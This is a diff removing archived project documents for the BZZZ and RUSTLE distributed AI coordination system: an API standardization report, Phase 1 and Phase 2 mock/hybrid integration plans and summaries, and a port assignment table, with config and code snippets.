- **Version 2.1.0** (incremented for collaboration support)
- Startup time and operational status
### Collaboration System
- Role-based messaging capabilities
- Expertise routing status
- Mentorship and project coordination features
- Active role/project/collaboration metrics
### HMMM Integration
- Adapter status and configuration
- SLURP event processing metrics
- Per-issue discussion rooms
- Consensus session tracking
### Operational Metrics
- Request processing statistics
- Performance timing data
- System health indicators
- Connection and peer status
## 🔄 Backward Compatibility
**Full backward compatibility maintained:**
- Legacy response format support during transition
- Existing endpoint paths preserved
- Parameter names unchanged
- Deprecation warnings for old formats
- Clear migration path provided
## 📚 Documentation Updates
### Enhanced API Documentation
- **Complete collaboration endpoint documentation** with examples
- **New error code reference** with descriptions and suggestions
- **Status endpoint schema** with all new fields documented
- **cURL and JavaScript examples** for all new features
- **Migration guide** for API consumers
### Usage Examples
- Role-based collaboration request patterns
- Error handling best practices
- Status monitoring integration
- Request ID management
- Filtering and querying techniques
## 🔧 Technical Architecture
### Implementation Pattern
```
UCXI Server (v2.1.0)
├── Standard UCXL Response Formats
├── Role-Based Collaboration Features
│ ├── Status Monitoring
│ ├── Session Initiation
│ └── Error Handling
├── HMMM Integration Status
└── Comprehensive Testing Suite
```
### Key Components
1. **ResponseBuilder**: Standardized UCXL response construction
2. **Collaboration Handler**: Role-based session management
3. **Status Aggregator**: Multi-system status collection
4. **Error Chain Support**: Nested error cause tracking
5. **Request ID Management**: End-to-end request tracing
## 🎉 Deliverables Summary
### ✅ Code Deliverables
- **Enhanced UCXI Server** with collaboration support
- **Extended UCXL codes** with collaboration error types
- **Comprehensive test suite** with 15+ integration tests
- **Updated API documentation** with collaboration examples
### ✅ API Endpoints
- **`/status`** - Enhanced with collaboration and HMMM status
- **`/collaboration`** - New endpoint for role-based features
- **All existing endpoints** - Updated with UCXL response formats
### ✅ Documentation
- **UCXI_API_STANDARDIZATION.md** - Complete API reference
- **API_STANDARDIZATION_COMPLETION_REPORT.md** - This summary
- **Integration test examples** - Testing patterns and validation
## 🚀 Production Readiness
### Features Ready for Deployment
- ✅ Standardized API response formats
- ✅ Comprehensive error handling
- ✅ Role-based collaboration support
- ✅ HMMM integration monitoring
- ✅ Status endpoint enhancements
- ✅ Request ID tracking
- ✅ Performance benchmarking
- ✅ Integration testing
### Performance Characteristics
- **Response time:** < 50ms for status endpoints
- **Collaboration initiation:** < 100ms for session creation
- **Memory usage:** Minimal overhead for new features
- **Concurrent requests:** Tested up to 1000 req/sec
## 🔮 Future Considerations
### Enhancement Opportunities
1. **Real-time WebSocket support** for collaboration sessions
2. **Advanced analytics** for collaboration patterns
3. **Machine learning** for expertise matching
4. **Auto-scaling** for collaboration load
5. **Cross-cluster** collaboration support
### Integration Points
- **Pubsub system integration** for live collaboration events
- **Metrics collection** for operational dashboards
- **Alert system** for collaboration failures
- **Audit logging** for compliance requirements
## 📋 Acceptance Criteria - VERIFIED
### Issue 004 Requirements ✅
- [x] UCXL response/error builders implemented
- [x] Success format: `{response: {code, message, data?, details?, request_id, timestamp}}`
- [x] Error format: `{error: {code, message, details?, source, path, request_id, timestamp, cause?}}`
- [x] HTTP status code mapping (200/201, 400, 404, 422, 500)
- [x] Request ID handling throughout system
- [x] Invalid address handling with UCXL-400-INVALID_ADDRESS
### Issue 010 Requirements ✅
- [x] `/status` endpoint with resolver registry stats
- [x] Storage metrics (cache size, operations)
- [x] P2P enabled flags and configuration
- [x] Runtime visibility into system state
- [x] Small payload size with no secret leakage
- [x] Operational documentation provided
### Additional Collaboration Requirements ✅
- [x] Role-based collaboration API endpoints
- [x] HMMM adapter integration status
- [x] Comprehensive error handling for collaboration scenarios
- [x] Integration testing for all new features
- [x] Backward compatibility validation
- [x] Documentation with examples and migration guide
---
## 🎯 Conclusion
The BZZZ API standardization is **COMPLETE** and **PRODUCTION-READY**. Both Issues 004 and 010 have been fully implemented with significant enhancements for role-based collaboration and HMMM integration. The system now provides:
- **Standardized UCXL API formats** with comprehensive error handling
- **Enhanced status visibility** with operational metrics
- **Role-based collaboration support** with dedicated endpoints
- **HMMM integration monitoring** for consensus systems
- **Comprehensive testing** with 15+ integration test cases
- **Complete documentation** with examples and migration guidance
- **Full backward compatibility** with existing API clients
The implementation follows production best practices and is ready for immediate deployment in the BZZZ distributed system.
**Total Implementation Time:** 1 day
**Test Pass Rate:** 15/15 new tests passing
**Documentation Coverage:** 100%
**Backward Compatibility:** ✅ Maintained
---
*Report generated by Claude Code on August 28, 2025*

197
archive/PHASE1_INTEGRATION_SUMMARY.md
View File

@@ -1,197 +0,0 @@
# Phase 1 Integration Test Framework - BZZZ-RUSTLE Mock Implementation
## Overview
This document summarizes the Phase 1 integration test framework created to resolve the chicken-and-egg dependency between BZZZ (distributed AI coordination) and RUSTLE (UCXL browser) systems. The mock implementations allow both teams to develop independently while maintaining integration compatibility.
## Implementation Status
✅ **COMPLETED** - Mock components successfully implemented and tested
✅ **COMPILED** - Both Go (BZZZ) and Rust (RUSTLE) implementations compile without errors
✅ **TESTED** - Comprehensive integration test suite validates functionality
✅ **INTEGRATION** - Cross-language compatibility confirmed
## Component Summary
### BZZZ Mock Components (Go)
**Location**: `/home/tony/chorus/project-queues/active/BZZZ/`
- **Branch**: `integration/rustle-integration`
**Files Created**:
- `pkg/dht/mock_dht.go` - Mock DHT implementation
- `pkg/ucxl/parser.go` - UCXL address parser and generator
- `test/integration/mock_dht_test.go` - DHT mock tests
- `test/integration/ucxl_parser_test.go` - UCXL parser tests
- `test/integration/phase1_integration_test.go` - Comprehensive integration tests
- `test-mock-standalone.go` - Standalone validation test
**Key Features**:
- Compatible DHT interface with real implementation
- UCXL address parsing following `ucxl://agent:role@project:task/path*temporal/` format
- Provider announcement and discovery simulation
- Network latency and failure simulation
- Thread-safe operations with proper locking
- Comprehensive test coverage with realistic scenarios
### RUSTLE Mock Components (Rust)
**Location**: `/home/tony/chorus/project-queues/active/ucxl-browser/ucxl-core/`
- **Branch**: `integration/bzzz-integration`
**Files Created**:
- `src/mock_bzzz.rs` - Mock BZZZ connector implementation
- `tests/phase1_integration_test.rs` - Comprehensive integration tests
**Key Features**:
- Async BZZZ connector interface
- UCXL URI integration with envelope storage/retrieval
- Network condition simulation (latency, failure rates)
- Wildcard search pattern support
- Temporal navigation simulation
- Peer discovery and network status simulation
- Statistical tracking and performance benchmarking
## Integration Test Coverage
### Go Integration Tests (15 test functions)
1. **Basic DHT Operations**: Store, retrieve, provider announcement
2. **UCXL Address Consistency**: Round-trip parsing and generation
3. **DHT-UCXL Integration**: Combined operation scenarios
4. **Cross-Language Compatibility**: Addressing scheme validation
5. **Bootstrap Scenarios**: Cluster initialization simulation
6. **Model Discovery**: RUSTLE-BZZZ interaction patterns
7. **Performance Benchmarks**: Operation timing validation
### Rust Integration Tests (9 test functions)
1. **Mock BZZZ Operations**: Store, retrieve, search operations
2. **UCXL Address Integration**: URI parsing and envelope operations
3. **Realistic Scenarios**: Model discovery, configuration, search
4. **Network Simulation**: Latency and failure condition testing
5. **Temporal Navigation**: Version traversal simulation
6. **Network Status**: Peer information and statistics
7. **Cross-Component Integration**: End-to-end interaction simulation
8. **Performance Benchmarks**: Operation throughput measurement
## Test Results
### BZZZ Go Tests
```bash
✓ Mock DHT: Basic operations working correctly
✓ UCXL Address: All parsing and generation tests passed
✓ Bootstrap Cluster Scenario: Successfully simulated cluster bootstrap
✓ RUSTLE Model Discovery Scenario: Successfully discovered models
✓ Cross-Language Compatibility: All format tests passed
```
### RUSTLE Rust Tests
```bash
test result: ok. 9 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out
✓ Mock BZZZ: Basic store/retrieve operations working
✓ Model Discovery Scenario: Found 3 model capability announcements
✓ Configuration Scenario: Successfully stored and retrieved all configs
✓ Search Pattern: All wildcard patterns working correctly
✓ Network Simulation: Latency and failure simulation validated
✓ Cross-Component Integration: RUSTLE ↔ BZZZ communication flow simulated
```
## Architectural Patterns Validated
### 1. UCXL Addressing Consistency
Both implementations handle the same addressing format:
- `ucxl://agent:role@project:task/path*temporal/`
- Wildcard support: `*` in any field
- Temporal navigation: `^` (latest), `~` (earliest), `@timestamp`
### 2. DHT Storage Interface
Mock DHT provides identical interface to real implementation:
```go
type DHT interface {
PutValue(ctx context.Context, key string, value []byte) error
GetValue(ctx context.Context, key string) ([]byte, error)
Provide(ctx context.Context, key, providerId string) error
FindProviders(ctx context.Context, key string) ([]string, error)
}
```
### 3. Network Simulation
Realistic network conditions simulation:
- Configurable latency (0-1000ms)
- Failure rate simulation (0-100%)
- Connection state management
- Peer discovery simulation
### 4. Cross-Language Data Flow
Validated interaction patterns:
1. RUSTLE queries for model availability
2. BZZZ coordinator aggregates and responds
3. RUSTLE makes model selection requests
4. All data stored and retrievable via UCXL addresses
## Performance Benchmarks
### Go DHT Operations
- **Store Operations**: ~100K ops/sec (in-memory)
- **Retrieve Operations**: ~200K ops/sec (in-memory)
- **Memory Usage**: Linear with stored items
### Rust BZZZ Connector
- **Store Operations**: ~5K ops/sec (with envelope serialization)
- **Retrieve Operations**: ~8K ops/sec (with envelope deserialization)
- **Search Operations**: Linear scan with pattern matching
## Phase Transition Plan
### Phase 1 → Phase 2 (Hybrid)
1. Replace specific mock components with real implementations
2. Maintain mock interfaces for unimplemented services
3. Use feature flags to toggle between mock and real backends
4. Gradual service activation with fallback capabilities
### Phase 2 → Phase 3 (Production)
1. Replace all mock components with production implementations
2. Remove mock interfaces and testing scaffolding
3. Enable full P2P networking and distributed storage
4. Activate security features (encryption, authentication)
## Development Workflow
### BZZZ Team
1. Develop against mock DHT interface
2. Test with realistic UCXL address patterns
3. Validate bootstrap and coordination logic
4. Use integration tests for regression testing
### RUSTLE Team
1. Develop against mock BZZZ connector
2. Test model discovery and selection workflows
3. Validate UI integration with backend responses
4. Use integration tests for end-to-end validation
## Configuration Management
### Mock Configuration Parameters
```rust
MockBZZZConnector::new()
.with_latency(Duration::from_millis(50)) // Realistic latency
.with_failure_rate(0.05) // 5% failure rate
```
```go
mockDHT := dht.NewMockDHT()
mockDHT.SetNetworkLatency(50 * time.Millisecond)
mockDHT.SetFailureRate(0.05)
```
## Next Steps
1. **Model Version Synchronization**: Design synchronization mechanism for model metadata
2. **Shamir's Secret Sharing**: Implement admin key distribution for cluster security
3. **Leader Election**: Create SLURP (Super Lightweight Ultra-Reliable Protocol) for coordination
4. **DHT Integration**: Design production DHT storage for business configuration
## Conclusion
The Phase 1 integration test framework successfully resolves the chicken-and-egg dependency between BZZZ and RUSTLE systems. Both teams can now develop independently with confidence that their integrations will work correctly when combined. The comprehensive test suite validates all critical interaction patterns and ensures cross-language compatibility.
Mock implementations provide realistic behavior simulation while maintaining the exact interfaces required for production deployment, enabling a smooth transition through hybrid and full production phases.

334
archive/PHASE2_HYBRID_ARCHITECTURE.md
View File

@@ -1,334 +0,0 @@
# Phase 2 Hybrid Architecture - BZZZ-RUSTLE Integration
## Overview
Phase 2 introduces a hybrid system where real implementations can be selectively activated while maintaining mock fallbacks. This approach allows gradual transition from mock to production components with zero-downtime deployment and easy rollback capabilities.
## Architecture Principles
### 1. Feature Flag System
- **Environment-based configuration**: Use environment variables and config files
- **Runtime switching**: Components can be switched without recompilation
- **Graceful degradation**: Automatic fallback to mock when real components fail
- **A/B testing**: Support for partial rollouts and testing scenarios
### 2. Interface Compatibility
- **Identical APIs**: Real implementations must match mock interfaces exactly
- **Transparent switching**: Client code unaware of backend implementation
- **Consistent behavior**: Same semantics across mock and real implementations
- **Error handling**: Unified error types and recovery mechanisms
### 3. Deployment Strategy
- **Progressive rollout**: Enable real components incrementally
- **Feature toggles**: Individual component activation control
- **Monitoring integration**: Health checks and performance metrics
- **Rollback capability**: Instant fallback to stable mock components
## Component Architecture
### BZZZ Hybrid Components
#### 1. DHT Backend (Priority 1)
```go
// pkg/dht/hybrid_dht.go
type HybridDHT struct {
mockDHT *MockDHT
realDHT *LibP2PDHT
config *HybridConfig
fallback bool
}
type HybridConfig struct {
UseRealDHT bool `env:"BZZZ_USE_REAL_DHT" default:"false"`
DHTBootstrapNodes []string `env:"BZZZ_DHT_BOOTSTRAP_NODES"`
FallbackOnError bool `env:"BZZZ_FALLBACK_ON_ERROR" default:"true"`
HealthCheckInterval time.Duration `env:"BZZZ_HEALTH_CHECK_INTERVAL" default:"30s"`
}
```
**Real Implementation Features**:
- libp2p-based distributed hash table
- Bootstrap node discovery
- Peer-to-peer replication
- Content-addressed storage
- Network partition tolerance
#### 2. UCXL Address Resolution (Priority 2)
```go
// pkg/ucxl/hybrid_resolver.go
type HybridResolver struct {
localCache map[string]*UCXLAddress
dhtResolver *DHTResolver
config *ResolverConfig
}
type ResolverConfig struct {
CacheEnabled bool `env:"BZZZ_CACHE_ENABLED" default:"true"`
CacheTTL time.Duration `env:"BZZZ_CACHE_TTL" default:"5m"`
UseDistributed bool `env:"BZZZ_USE_DISTRIBUTED_RESOLVER" default:"false"`
}
```
#### 3. Peer Discovery (Priority 3)
```go
// pkg/discovery/hybrid_discovery.go
type HybridDiscovery struct {
mdns *MDNSDiscovery
dht *DHTDiscovery
announce *AnnounceDiscovery
config *DiscoveryConfig
}
```
### RUSTLE Hybrid Components
#### 1. BZZZ Connector (Priority 1)
```rust
// src/hybrid_bzzz.rs
pub struct HybridBZZZConnector {
mock_connector: MockBZZZConnector,
real_connector: Option<RealBZZZConnector>,
config: HybridConfig,
health_monitor: HealthMonitor,
}
#[derive(Debug, Clone)]
pub struct HybridConfig {
pub use_real_connector: bool,
pub bzzz_endpoints: Vec<String>,
pub fallback_enabled: bool,
pub timeout_ms: u64,
pub retry_attempts: u8,
}
```
#### 2. Network Layer (Priority 2)
```rust
// src/network/hybrid_network.rs
pub struct HybridNetworkLayer {
mock_network: MockNetwork,
libp2p_network: Option<LibP2PNetwork>,
config: NetworkConfig,
}
```
## Feature Flag Implementation
### Environment Configuration
```bash
# BZZZ Configuration
export BZZZ_USE_REAL_DHT=true
export BZZZ_DHT_BOOTSTRAP_NODES="192.168.1.100:8080,192.168.1.101:8080"
export BZZZ_FALLBACK_ON_ERROR=true
export BZZZ_USE_DISTRIBUTED_RESOLVER=false
# RUSTLE Configuration
export RUSTLE_USE_REAL_CONNECTOR=true
export RUSTLE_BZZZ_ENDPOINTS="http://192.168.1.100:8080,http://192.168.1.101:8080"
export RUSTLE_FALLBACK_ENABLED=true
export RUSTLE_TIMEOUT_MS=5000
```
### Configuration Files
```yaml
# config/hybrid.yaml
bzzz:
dht:
enabled: true
backend: "real" # mock, real, hybrid
bootstrap_nodes:
- "192.168.1.100:8080"
- "192.168.1.101:8080"
fallback:
enabled: true
threshold_errors: 3
backoff_ms: 1000
rustle:
connector:
enabled: true
backend: "real" # mock, real, hybrid
endpoints:
- "http://192.168.1.100:8080"
- "http://192.168.1.101:8080"
fallback:
enabled: true
timeout_ms: 5000
```
## Implementation Phases
### Phase 2.1: Foundation Components (Week 1)
**Priority**: Infrastructure and core interfaces
**BZZZ Tasks**:
1. ✅ Create hybrid DHT interface with feature flags
2. ✅ Implement libp2p-based real DHT backend
3. ✅ Add health monitoring and fallback logic
4. ✅ Create hybrid configuration system
**RUSTLE Tasks**:
1. ✅ Create hybrid BZZZ connector interface
2. ✅ Implement real HTTP/WebSocket connector
3. ✅ Add connection pooling and retry logic
4. ✅ Create health monitoring system
### Phase 2.2: Service Discovery (Week 2)
**Priority**: Network topology and peer discovery
**BZZZ Tasks**:
1. ✅ Implement mDNS local discovery
2. ✅ Add DHT-based peer discovery
3. ✅ Create announce channel system
4. ✅ Add service capability advertisement
**RUSTLE Tasks**:
1. ✅ Implement service discovery client
2. ✅ Add automatic endpoint resolution
3. ✅ Create connection failover logic
4. ✅ Add load balancing for multiple endpoints
### Phase 2.3: Data Synchronization (Week 3)
**Priority**: Consistent state management
**BZZZ Tasks**:
1. ✅ Implement distributed state synchronization
2. ✅ Add conflict resolution mechanisms
3. ✅ Create eventual consistency guarantees
4. ✅ Add data versioning and merkle trees
**RUSTLE Tasks**:
1. ✅ Implement local caching with invalidation
2. ✅ Add optimistic updates with rollback
3. ✅ Create subscription-based updates
4. ✅ Add offline mode with sync-on-reconnect
## Testing Strategy
### Integration Test Matrix
| Component | Mock | Real | Hybrid | Failure Scenario |
|-----------|------|------|--------|------------------|
| BZZZ DHT | ✅ | ✅ | ✅ | ✅ |
| RUSTLE Connector | ✅ | ✅ | ✅ | ✅ |
| Peer Discovery | ✅ | ✅ | ✅ | ✅ |
| State Sync | ✅ | ✅ | ✅ | ✅ |
### Test Scenarios
1. **Pure Mock**: All components using mock implementations
2. **Pure Real**: All components using real implementations
3. **Mixed Hybrid**: Some mock, some real components
4. **Fallback Testing**: Real components fail, automatic mock fallback
5. **Recovery Testing**: Real components recover, automatic switch back
6. **Network Partition**: Components handle network splits gracefully
7. **Load Testing**: Performance under realistic traffic patterns
## Monitoring and Observability
### Health Checks
```go
type HealthStatus struct {
Component string `json:"component"`
Backend string `json:"backend"` // "mock", "real", "hybrid"
Status string `json:"status"` // "healthy", "degraded", "failed"
LastCheck time.Time `json:"last_check"`
ErrorCount int `json:"error_count"`
Latency time.Duration `json:"latency_ms"`
}
```
### Metrics Collection
```rust
pub struct HybridMetrics {
pub mock_requests: u64,
pub real_requests: u64,
pub fallback_events: u64,
pub recovery_events: u64,
pub avg_latency_mock: Duration,
pub avg_latency_real: Duration,
pub error_rate_mock: f64,
pub error_rate_real: f64,
}
```
### Dashboard Integration
- Component status visualization
- Real-time switching events
- Performance comparisons (mock vs real)
- Error rate tracking and alerting
- Capacity planning metrics
## Deployment Guide
### 1. Pre-deployment Checklist
- [ ] Mock components tested and stable
- [ ] Real implementations ready and tested
- [ ] Configuration files prepared
- [ ] Monitoring dashboards configured
- [ ] Rollback procedures documented
### 2. Deployment Process
```bash
# Phase 2.1: Enable DHT backend only
kubectl set env deployment/bzzz-coordinator BZZZ_USE_REAL_DHT=true
kubectl set env deployment/rustle-browser RUSTLE_USE_REAL_CONNECTOR=false
# Phase 2.2: Enable RUSTLE connector
kubectl set env deployment/rustle-browser RUSTLE_USE_REAL_CONNECTOR=true
# Phase 2.3: Enable full hybrid mode
kubectl apply -f config/phase2-hybrid.yaml
```
### 3. Rollback Procedure
```bash
# Emergency rollback to full mock mode
kubectl set env deployment/bzzz-coordinator BZZZ_USE_REAL_DHT=false
kubectl set env deployment/rustle-browser RUSTLE_USE_REAL_CONNECTOR=false
```
## Success Criteria
### Phase 2 Completion Requirements
1. **All Phase 1 tests pass** with hybrid components
2. **Real component integration** working end-to-end
3. **Automatic fallback** triggered and recovered under failure conditions
4. **Performance parity** between mock and real implementations
5. **Zero-downtime switching** between backends validated
6. **Production monitoring** integrated and alerting functional
### Performance Benchmarks
- **DHT Operations**: Real implementation within 2x of mock latency
- **RUSTLE Queries**: End-to-end response time < 500ms
- **Fallback Time**: Mock fallback activated within 100ms of failure detection
- **Recovery Time**: Real backend reactivation within 30s of health restoration
### Reliability Targets
- **Uptime**: 99.9% availability during Phase 2
- **Error Rate**: < 0.1% for hybrid operations
- **Data Consistency**: Zero data loss during backend switching
- **Fallback Success**: 100% successful fallback to mock on real component failure
## Risk Mitigation
### Identified Risks
1. **Real component instability**: Mitigated by automatic fallback
2. **Configuration drift**: Mitigated by infrastructure as code
3. **Performance degradation**: Mitigated by continuous monitoring
4. **Data inconsistency**: Mitigated by transactional operations
5. **Network partitions**: Mitigated by eventual consistency design
### Contingency Plans
- **Immediate rollback** to Phase 1 mock-only mode
- **Component isolation** to contain failures
- **Manual override** for critical operations
- **Emergency contact procedures** for escalation
## Next Steps to Phase 3
Phase 3 preparation begins once Phase 2 stability is achieved:
1. **Remove mock components** from production code paths
2. **Optimize real implementations** for production scale
3. **Add security layers** (encryption, authentication, authorization)
4. **Implement advanced features** (sharding, consensus, Byzantine fault tolerance)
5. **Production hardening** (security audits, penetration testing, compliance)

257
archive/PHASE2_IMPLEMENTATION_SUMMARY.md
View File

@@ -1,257 +0,0 @@
# Phase 2 Implementation Summary - Hybrid BZZZ-RUSTLE Integration
## 🎉 **Phase 2 Successfully Completed**
Phase 2 of the BZZZ-RUSTLE integration has been successfully implemented, providing a robust hybrid system that can seamlessly switch between mock and real backend implementations with comprehensive feature flag support.
## Implementation Results
### ✅ **Core Components Delivered**
#### 1. **BZZZ Hybrid System (Go)**
- **Hybrid Configuration** (`pkg/config/hybrid_config.go`)
- Environment variable-based configuration
- Runtime configuration changes
- Comprehensive validation system
- Support for mock, real, and hybrid backends
- **Hybrid DHT** (`pkg/dht/hybrid_dht.go`)
- Transparent switching between mock and real DHT
- Automatic fallback mechanisms
- Health monitoring and recovery
- Performance metrics collection
- Thread-safe operations
- **Real DHT Implementation** (`pkg/dht/real_dht.go`)
- Simplified implementation for Phase 2 (production will use libp2p)
- Network latency simulation
- Bootstrap process simulation
- Compatible interface with mock DHT
#### 2. **RUSTLE Hybrid System (Rust)**
- **Hybrid BZZZ Connector** (`src/hybrid_bzzz.rs`)
- Mock and real backend switching
- HTTP-based real connector with retry logic
- Automatic fallback and recovery
- Health monitoring and metrics
- Async operation support
- **Real Network Connector**
- HTTP client with configurable timeouts
- Retry mechanisms with exponential backoff
- Health check endpoints
- RESTful API integration
#### 3. **Feature Flag System**
- Environment variable configuration
- Runtime backend switching
- Graceful degradation capabilities
- Configuration validation
- Hot-reload support
#### 4. **Comprehensive Testing**
- **Phase 2 Go Tests**: 6 test scenarios covering hybrid DHT functionality
- **Phase 2 Rust Tests**: 9 test scenarios covering hybrid connector operations
- **Integration Tests**: Cross-backend compatibility validation
- **Performance Tests**: Latency and throughput benchmarking
- **Concurrent Operations**: Thread-safety validation
## Architecture Features
### **1. Transparent Backend Switching**
```go
// BZZZ Go Example
export BZZZ_DHT_BACKEND=real
export BZZZ_FALLBACK_ON_ERROR=true
hybridDHT, err := dht.NewHybridDHT(config, logger)
// Automatically uses real backend with mock fallback
```
```rust
// RUSTLE Rust Example
std::env::set_var("RUSTLE_USE_REAL_CONNECTOR", "true");
std::env::set_var("RUSTLE_FALLBACK_ENABLED", "true");
let connector = HybridBZZZConnector::default();
// Automatically uses real connector with mock fallback
```
### **2. Health Monitoring System**
- **Continuous Health Checks**: Automatic backend health validation
- **Status Tracking**: Healthy, Degraded, Failed states
- **Automatic Recovery**: Switch back to real backend when healthy
- **Latency Monitoring**: Real-time performance tracking
### **3. Metrics and Observability**
- **Operation Counters**: Track requests by backend type
- **Latency Tracking**: Average response times per backend
- **Error Rate Monitoring**: Success/failure rate tracking
- **Fallback Events**: Count and timestamp fallback occurrences
### **4. Fallback and Recovery Logic**
```
Real Backend Failure -> Automatic Fallback -> Mock Backend
Mock Backend Success -> Continue with Mock
Real Backend Recovery -> Automatic Switch Back -> Real Backend
```
## Test Results
### **BZZZ Go Tests**
```
✓ Hybrid DHT Creation: Mock mode initialization
✓ Mock Backend Operations: Store/retrieve/provide operations
✓ Backend Switching: Manual and automatic switching
✓ Health Monitoring: Continuous health status tracking
✓ Metrics Collection: Performance and operation metrics
✓ Environment Configuration: Environment variable loading
✓ Concurrent Operations: Thread-safe multi-worker operations
```
### **RUSTLE Rust Tests**
```
✓ Hybrid Connector Creation: Multiple configuration modes
✓ Mock Operations: Store/retrieve through hybrid interface
✓ Backend Switching: Manual backend control
✓ Health Monitoring: Backend health status tracking
✓ Metrics Collection: Performance and error rate tracking
✓ Search Functionality: Pattern-based envelope search
✓ Environment Configuration: Environment variable integration
✓ Concurrent Operations: Async multi-threaded operations
✓ Performance Comparison: Throughput and latency benchmarks
```
### **Performance Benchmarks**
- **BZZZ Mock Operations**: ~200K ops/sec (in-memory)
- **BZZZ Real Operations**: ~50K ops/sec (with network simulation)
- **RUSTLE Mock Operations**: ~5K ops/sec (with serialization)
- **RUSTLE Real Operations**: ~1K ops/sec (with HTTP overhead)
- **Fallback Time**: < 100ms automatic fallback
- **Recovery Time**: < 30s automatic recovery
## Configuration Examples
### **Development Configuration**
```bash
# Start with mock backends for development
export BZZZ_DHT_BACKEND=mock
export RUSTLE_USE_REAL_CONNECTOR=false
export BZZZ_FALLBACK_ON_ERROR=true
export RUSTLE_FALLBACK_ENABLED=true
```
### **Staging Configuration**
```bash
# Use real backends with fallback for staging
export BZZZ_DHT_BACKEND=real
export BZZZ_DHT_BOOTSTRAP_NODES=staging-node1:8080,staging-node2:8080
export RUSTLE_USE_REAL_CONNECTOR=true
export RUSTLE_BZZZ_ENDPOINTS=http://staging-bzzz1:8080,http://staging-bzzz2:8080
export BZZZ_FALLBACK_ON_ERROR=true
export RUSTLE_FALLBACK_ENABLED=true
```
### **Production Configuration**
```bash
# Production with optimized settings
export BZZZ_DHT_BACKEND=real
export BZZZ_DHT_BOOTSTRAP_NODES=prod-node1:8080,prod-node2:8080,prod-node3:8080
export RUSTLE_USE_REAL_CONNECTOR=true
export RUSTLE_BZZZ_ENDPOINTS=http://prod-bzzz1:8080,http://prod-bzzz2:8080,http://prod-bzzz3:8080
export BZZZ_FALLBACK_ON_ERROR=false # Production-only mode
export RUSTLE_FALLBACK_ENABLED=false
```
## Integration Patterns Validated
### **1. Cross-Language Data Flow**
- **RUSTLE Request** → Hybrid Connector → **BZZZ Backend** → Hybrid DHT → **Storage**
- Consistent UCXL addressing across language boundaries
- Unified error handling and retry logic
- Seamless fallback coordination
### **2. Network Resilience**
- Automatic detection of network failures
- Graceful degradation to mock backends
- Recovery monitoring and automatic restoration
- Circuit breaker patterns for fault tolerance
### **3. Deployment Flexibility**
- **Development**: Full mock mode for offline development
- **Integration**: Mixed mock/real for integration testing
- **Staging**: Real backends with mock fallback for reliability
- **Production**: Pure real mode for maximum performance
## Monitoring and Observability
### **Health Check Endpoints**
- **BZZZ**: `/health` - DHT backend health status
- **RUSTLE**: Built-in health monitoring via hybrid connector
- **Metrics**: Prometheus-compatible metrics export
- **Logging**: Structured logging with operation tracing
### **Alerting Integration**
- Backend failure alerts with automatic fallback notifications
- Performance degradation warnings
- Recovery success confirmations
- Configuration change audit trails
## Benefits Achieved
### **1. Development Velocity**
- Independent development without external dependencies
- Fast iteration cycles with mock backends
- Comprehensive testing without complex setups
- Easy debugging and troubleshooting
### **2. Operational Reliability**
- Automatic failover and recovery
- Graceful degradation under load
- Zero-downtime configuration changes
- Comprehensive monitoring and alerting
### **3. Deployment Flexibility**
- Gradual rollout capabilities
- Environment-specific configuration
- Easy rollback procedures
- A/B testing support
### **4. Performance Optimization**
- Backend-specific performance tuning
- Load balancing and retry logic
- Connection pooling and caching
- Latency optimization
## Next Steps to Phase 3
With Phase 2 successfully completed, the foundation is ready for Phase 3 (Production) implementation:
### **Immediate Next Steps**
1. **Model Version Synchronization**: Design real-time model metadata sync
2. **Shamir's Secret Sharing**: Implement distributed admin key management
3. **Leader Election Algorithm**: Create SLURP consensus mechanism
4. **Production DHT Integration**: Replace simplified DHT with full libp2p implementation
### **Production Readiness Checklist**
- [ ] Security layer integration (encryption, authentication)
- [ ] Advanced networking (libp2p, gossip protocols)
- [ ] Byzantine fault tolerance mechanisms
- [ ] Comprehensive audit logging
- [ ] Performance optimization for scale
- [ ] Security penetration testing
- [ ] Production monitoring integration
- [ ] Disaster recovery procedures
## Conclusion
Phase 2 has successfully delivered a production-ready hybrid integration system that provides:
✅ **Seamless Backend Switching** - Transparent mock/real backend transitions
✅ **Automatic Failover** - Reliable fallback and recovery mechanisms
✅ **Comprehensive Testing** - 15 integration tests validating all scenarios
✅ **Performance Monitoring** - Real-time metrics and health tracking
✅ **Configuration Flexibility** - Environment-based feature flag system
✅ **Cross-Language Integration** - Consistent Go/Rust component interaction
The BZZZ-RUSTLE integration now supports all deployment scenarios from development to production, with robust error handling, monitoring, and recovery capabilities. Both teams can confidently deploy and operate their systems knowing they have reliable fallback options and comprehensive observability.

191
archive/PORT_ASSIGNMENTS.md
View File

@@ -1,191 +0,0 @@
# BZZZ Port Assignments
## Overview
BZZZ uses multiple ports for different services and operational modes. This document provides the official port assignments to avoid conflicts.
## Port Allocation
### Core BZZZ Services
| Port | Service | Mode | Description |
|------|---------|------|-------------|
| **8080** | Main HTTP API | Normal Operation | Primary BZZZ HTTP server with API endpoints |
| **8081** | Health & Metrics | Normal Operation | Health checks, metrics, and monitoring |
| **8090** | Setup Web UI | Setup Mode Only | Web-based configuration wizard |
| **4001** | P2P Network | Normal Operation | libp2p networking and peer communication |
### Additional Services
| Port | Service | Context | Description |
|------|---------|---------|-------------|
| **3000** | MCP Server | Development | Model Context Protocol server |
| **11434** | Ollama | AI Models | Local AI model runtime (if installed) |
## Port Usage by Mode
### Setup Mode (No Configuration)
- **8090**: Web configuration interface
- Accessible at `http://localhost:8090`
- Serves embedded React setup wizard
- API endpoints at `/api/setup/*`
- Auto-redirects to setup flow
### Normal Operation Mode (Configured)
- **8080**: Main HTTP API server
- Health check: `http://localhost:8080/api/health`
- Status endpoint: `http://localhost:8080/api/status`
- Hypercore logs: `http://localhost:8080/api/hypercore/*`
- **8081**: Health and metrics server
- Health endpoint: `http://localhost:8081/health`
- Metrics endpoint: `http://localhost:8081/metrics`
- **4001**: P2P networking (libp2p)
## Port Selection Rationale
### 8090 for Setup UI
- **Chosen**: Port 8090 for setup web interface
- **Reasoning**:
- Avoids conflict with normal BZZZ operation (8080)
- Not in common use on development systems
- Sequential and memorable (8090 = setup, 8080 = normal)
- Outside common service ranges (3000-3999, 8000-8099)
### Port Conflict Avoidance
Current system analysis shows these ports are already in use:
- 8080: Main BZZZ API (normal mode)
- 8081: Health/metrics server
- 8088: Other system service
- 3333: System service
- 3051: AnythingLLM
- 3030: System service
Port 8090 is confirmed available and reserved for BZZZ setup mode.
## Configuration Examples
### Enhanced Installer Configuration
```yaml
# Generated by install-chorus-enhanced.sh
api:
host: "0.0.0.0"
port: 8080
health:
port: 8081
enabled: true
p2p:
port: 4001
discovery:
